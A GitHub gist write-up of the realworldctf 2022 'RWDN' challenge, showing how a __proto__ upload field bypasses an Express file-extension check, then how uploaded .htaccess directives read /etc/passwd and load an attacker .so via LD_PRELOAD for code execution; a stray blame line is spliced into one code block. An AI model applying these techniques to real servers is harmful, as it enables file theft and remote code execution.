Skip to content

Instantly share code, notes, and snippets.

@wupco
Last active August 24, 2022 04:00
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save wupco/8d4c85b93458364ec49617cff182c597 to your computer and use it in GitHub Desktop.
Save wupco/8d4c85b93458364ec49617cff182c597 to your computer and use it in GitHub Desktop.
realworldctf 2022 - RWDN

Don't you think it is a baby challenge?

Bypass the extension check

 Object.keys(req.files).forEach(function(key){
        var filename = req.files[key].name.toLowerCase();
        var position = filename.lastIndexOf('.');
        if (position == -1) {
          return next();
        }
        var ext = filename.substr(position);
        var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
        if ( !allowexts.includes(ext) ){
          res.status(400).send('Something error.');
          return;

Object.keys would not list __proto__ attributes, so if you upload a file with __proto__ name field, it could not be checked by this code. In https://github.com/richardgirges/express-fileupload/blob/master/lib/utilities.js#L92

const buildFields = (instance, field, value) => {
  // Do nothing if value is not set.
  if (value === null || value === undefined) return instance;
  instance = instance || {};
  // Non-array fields
  if (!instance[field]) {
    instance[field] = value;
    return instance;
  }
  // Array fields  
  if (instance[field] instanceof Array) {
    instance[field].push(value);
  } else {
    instance[field] = [instance[field], value];Roman Burunkov, 3 years ago:  Forgot to add buildFields code
  }
  return instance;
};

__proto__ is an attribute of instance, so finally, it would execute instance[field] = [instance[field], value];, which make req.files to be an array, you could access the file object by array index. So this payload works and it won't crash the server, it is intended solution.

# from Sauercloud-pspaul
requests.post(url+'upload?formid=1', files={
  '__proto__': ('payload.so', content),
  'decoy': ('decoy', 'lel'),
})

It is because I wrote wrong codes, this challenge seems easier than intended, you could upload multiple files to bypass the check directly.

capabilities of .htaccess

  1. read arbitrary files

upload a .htaccess like this

ErrorDocument 404 %{file:/etc/passwd}

Then visit a non-exist path base on the directory, you could get the file contents of /etc/passwd directly.

  1. get remote code execution

When you try to read /etc/apache2/apache.conf, you will get this line ExtFilterDefine gzip mode=output cmd=/bin/gzip. It could compress the response contents and could be actived by .htaccess file. Then you could pass environment vars to /bin/gzip command by setEnv.

SetOutputFilter gzip
setEnv LD_PRELOAD /xxxxxx/evil.so

Upload your evil .so files and enjoy your shell :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment